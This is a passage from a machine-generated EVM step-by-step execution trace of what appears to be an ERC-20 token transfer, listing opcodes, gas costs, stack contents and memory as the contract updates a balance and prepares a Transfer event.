asCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1364,"op":"PUSH2","gas":53031,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1367,"op":"JUMP","gas":53028,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x88b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2187,"op":"JUMPDEST","gas":53020,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2188,"op":"PUSH1","gas":53019,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2190,"op":"DUP3","gas":53016,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2191,"op":"NOT","gas":53013,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2192,"op":"DUP3","gas":53010,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0","0xfffffffffffffffffffffffffffffffffffffffffffffffffffec9240bf53f64"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2193,"op":"GT","gas":53007,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0","0xfffffffffffffffffffffffffffffffffffffffffffffffffffec9240bf53f64","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2194,"op":"ISZERO","gas":53004,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2195,"op":"PUSH2","gas":53001,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2198,"op":"JUMPI","gas":52998,"gasCost":10,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0","0x1","0x89e"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2206,"op":"JUMPDEST","gas":52988,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2207,"op":"POP","gas":52987,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2208,"op":"ADD","gas":52985,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2209,"op":"SWAP1","gas":52982,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x558","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2210,"op":"JUMP","gas":52979,"gasCost":8,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x136dbf40ac09b","0x558"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1368,"op":"JUMPDEST","gas":52971,"gasCost":1,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1369,"op":"SWAP3","gas":52970,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1370,"op":"POP","gas":52967,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1371,"op":"POP","gas":52965,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1372,"op":"DUP2","gas":52963,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1373,"op":"SWAP1","gas":52960,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1374,"op":"SSTORE","gas":52957,"gasCost":20000,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b","0x136dbf40ac09b","0x735fec32c8eae8b2d3ca48e802dd6ed66152ce536ace4209d38c1f2365386504"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1375,"op":"POP","gas":32957,"gasCost":2,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1376,"op":"DUP3","gas":32955,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1377,"op":"PUSH1","gas":32952,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1379,"op":"PUSH1","gas":32949,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1381,"op":"PUSH1","gas":32946,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1383,"op":"SHL","gas":32943,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1384,"op":"SUB","gas":32940,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x10000000000000000000000000000000000000000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1385,"op":"AND","gas":32937,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1386,"op":"DUP5","gas":32934,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1387,"op":"PUSH1","gas":32931,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1389,"op":"PUSH1","gas":32928,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1391,"op":"PUSH1","gas":32925,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1393,"op":"SHL","gas":32922,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1394,"op":"SUB","gas":32919,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1395,"op":"AND","gas":32916,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1396,"op":"PUSH32","gas":32913,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1429,"op":"DUP5","gas":32910,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1430,"op":"PUSH1","gas":32907,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x136dbf40ac09b"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1432,"op":"MLOAD","gas":32904,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x730","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x136dbf40ac09b","0x40"],"memory":["00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1433,"op":"PUSH2","gas":32901,"gasCost":3,"depth":3,"stack":["0xa9059cbb","0x11f","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40a